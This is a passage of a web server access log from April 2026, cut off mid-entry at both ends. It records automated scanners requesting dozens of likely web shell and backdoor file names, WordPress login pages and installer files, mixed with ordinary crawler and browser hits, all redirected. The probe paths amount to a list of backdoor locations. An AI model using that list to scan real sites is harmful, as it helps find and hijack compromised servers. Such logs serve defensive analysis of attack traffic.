HTTP/1.1" 301 795 "-" "-" 93.159.230.85 - - [22/Apr/2026:12:35:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; arm_64; Android 12; CPH2205) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 YaBrowser/23.3.3.86.00 SA/3 Mobile Safari/537.36" 20.151.131.235 - - [22/Apr/2026:10:14:36 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:14:45 +0300] "GET /gelay.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:20 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:23 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:27 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:27 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:27 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:47 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:47 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:51 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:49 +0300] "GET /cah.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:56 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:59 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:02 +0300] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:06 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:09 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:10 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:39 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 85.137.48.167 - - [22/Apr/2026:09:38:11 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 20.251.15.42 - - [22/Apr/2026:10:00:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:13:40 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:14:15 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:15:35 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:16:44 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:18 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:17:21 +0300] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:52 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:56 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:18:59 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:32 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:32 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:34 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:19:40 +0300] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:28 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:33 +0300] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:45 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 20.151.131.235 - - [22/Apr/2026:10:20:49 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 141.255.164.66 - - [22/Apr/2026:10:50:40 +0300] "GET /wp-content/plugins/kali-forms/README.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:32 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:33 +0300] "GET /wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:33 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:34 +0300] "GET /new/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:35 +0300] "GET /old/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:37 +0300] "GET /test/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:39 +0300] "GET /main/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:41 +0300] "GET /site/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:42 +0300] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:44 +0300] "GET /demo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:46 +0300] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:47 +0300] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:49 +0300] "GET /cms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:52 +0300] "GET /dev/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:52 +0300] "GET /portal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 209.87.169.250 - - [22/Apr/2026:13:12:53 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3357.167 Safari/537.36" 43.159.140.236 - - [22/Apr/2026:12:51:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 12.217.32.52 - - [22/Apr/2026:12:55:19 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 93.159.230.84 - - [22/Apr/2026:13:19:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; arm_64; Android 12; CPH2205) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 YaBrowser/23.3.3.86.00 SA/3 Mobile Safari/537.36" 43.130.60.195 - - [22/Apr/2026:13:35:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.198.240.150 - - [22/Apr/2026:15:57:55 +0300] "GET /dup-installer/main.installer.php HTTP/1.1" 301 795 "-" "-" 45.86.211.12 - - [22/Apr/2026:16:30:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 40.69.66.178 - - [22/Apr/2026:16:38:53 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 80.94.95.202 - - [22/Apr/2026:17:10:52 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 49.7.227.204 - - [22/Apr/2026:17:49:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 116.76.36.213 - - [22/Apr/2026:18:24:38 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.4515.152 Safari/537.36 LBBROWSER" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 129.226.93.214 - - [22/Apr/2026:18:11:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 66.220.149.34 - - [22/Apr/2026:17:31:39 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 216.244.66.194 - - [22/Apr/2026:17:30:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 103.195.100.207 - - [22/Apr/2026:17:53:04 +0300] "GET /wp/wp-login.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 103.195.100.207 - - [22/Apr/2026:17:59:55 +0300] "GET /wordpress/wp-login.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.253 - - [22/Apr/2026:18:24:46 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 103.195.100.207 - - [22/Apr/2026:17:46:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 74.248.33.208 - - [22/Apr/2026:19:08:34 +0300] "GET /bkyac.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:36 +0300] "GET /wziar1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:55 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:34 +0300] "GET /fone1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:37 +0300] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:40 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:44 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:11 +0300] "GET /bfil.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:46 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:49 +0300] "GET /sa.php7 HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:52 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:55 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:13:18 +0300] "GET /press.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:13:44 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:15:32 +0300] "GET /ai.php HTTP/1.1" 301 795 "-" "-" 216.244.66.194 - - [22/Apr/2026:21:19:10 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.159.140.236 - - [22/Apr/2026:19:01:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.248.33.208 - - [22/Apr/2026:19:07:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:00 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:20 +0300] "GET /cilus.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:01 +0300] "GET /public/mI35rZhMg1zJ1vuXdefault.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:32 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:35 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:03 +0300] "GET /saorix1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:48 +0300] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:52 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:07:32 +0300] "GET /gpt-sh.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:27 +0300] "GET /zc-243.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:17 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:31 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:46 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:29 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "-" 198.235.24.184 - - [22/Apr/2026:19:32:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 74.248.33.208 - - [22/Apr/2026:19:08:13 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:53 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:58 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:00 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:04 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:53 +0300] "GET /casp1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:56 +0300] "GET /acc.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:59 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:13:27 +0300] "GET /ws78.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:36 +0300] "GET /ww.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:42 +0300] "GET /public/oLEzRVqmJJPFSucdefault.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:47 +0300] "GET /7logs.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:50 +0300] "GET /n3yUmQ6Q9xwQ8ocdefault.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:26 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:00 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:02 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:20 +0300] "GET /prosellers8.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:15:06 +0300] "GET /zoper1.php HTTP/1.1" 301 795 "-" "-" 84.247.172.99 - - [22/Apr/2026:21:23:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 74.248.33.208 - - [22/Apr/2026:19:07:37 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:18 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:02 +0300] "GET /ctex1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:50 +0300] "GET /wp-png.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:53 +0300] "GET /tx79.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:56 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:42 +0300] "GET /amwxl.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:46 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:48 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:09 +0300] "GET /byypas.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:12 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:15 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:18 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:20 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:24 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:27 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:09 +0300] "GET /yuzuru1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:12:39 +0300] "GET /xper1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:13:51 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:09 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:13 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:58 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:15:22 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:07:42 +0300] "GET /aevly.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:07:48 +0300] "GET /ta0ol.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:10:19 +0300] "GET /abrand.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:13:06 +0300] "GET /xltt.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:13:10 +0300] "GET /packsin1.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:15:37 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:08:07 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:11 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:09:26 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:36 +0300] "GET /koiy.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:11:39 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:13:37 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 74.248.33.208 - - [22/Apr/2026:19:14:42 +0300] "GET /fsjzs.php HTTP/1.1" 301 795 "-" "-" 42.83.147.56 - - [22/Apr/2026:21:58:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 165.22.115.79 - - [22/Apr/2026:21:44:59 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 74.248.132.226 - - [22/Apr/2026:22:48:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 192.36.109.118 - - [22/Apr/2026:23:17:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 165.22.115.79 - - [22/Apr/2026:21:44:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 45.10.69.88 - - [23/Apr/2026:01:43:09 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\"" 5.183.252.240 - - [23/Apr/2026:04:15:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36/Nutch-1.21-SNAPSHOT" 52.236.68.31 - - [22/Apr/2026:23:52:30 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [22/Apr/2026:23:52:51 +0300] "GET /an8.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [22/Apr/2026:23:52:55 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [22/Apr/2026:23:52:57 +0300] "GET /an9.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [22/Apr/2026:23:53:00 +0300] "GET /tiny2.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [22/Apr/2026:23:53:01 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - [22/Apr/2026:23:52:43 +0300] "GET /bcft.php HTTP/1.1" 301 795 "-" "-" 52.236.68.31 - - 